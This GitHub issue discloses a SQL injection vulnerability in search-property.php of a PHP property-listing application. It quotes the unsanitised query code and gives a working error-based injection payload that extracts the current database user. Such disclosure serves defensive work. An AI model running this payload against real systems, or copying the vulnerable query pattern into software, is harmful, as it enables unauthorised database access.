Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection vulnerability exists in search-property.php #7

Closed
huclilu opened this issue Dec 2, 2022 · 0 comments
Closed

SQL injection vulnerability exists in search-property.php #7

huclilu opened this issue Dec 2, 2022 · 0 comments

Comments

@huclilu
Copy link

huclilu commented Dec 2, 2022

Build environment: Apache 2.4.39; MySQL5.7.26; PHP7.3.4

SQL injection vulnerability exists in search-property.php

In search property In PHP, in lines 52-54 of the code, search_ The property is transferred to the backend through the post request and assigned to the variable $q_ String, and then it is substituted into the database for fuzzy query, and then mysqli is used_ The query function returns the result of the data query

$q_string = $_POST['search_property'];
$sql="SELECT * FROM add_property where concat(zone,district,province,city,tole,property_type,country) like '%$q_string%'";
    $query=mysqli_query($db,$sql);

POC:

123' or (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- ace

SQL injection to obtain the current user

@huclilu huclilu closed this as completed Dec 17, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant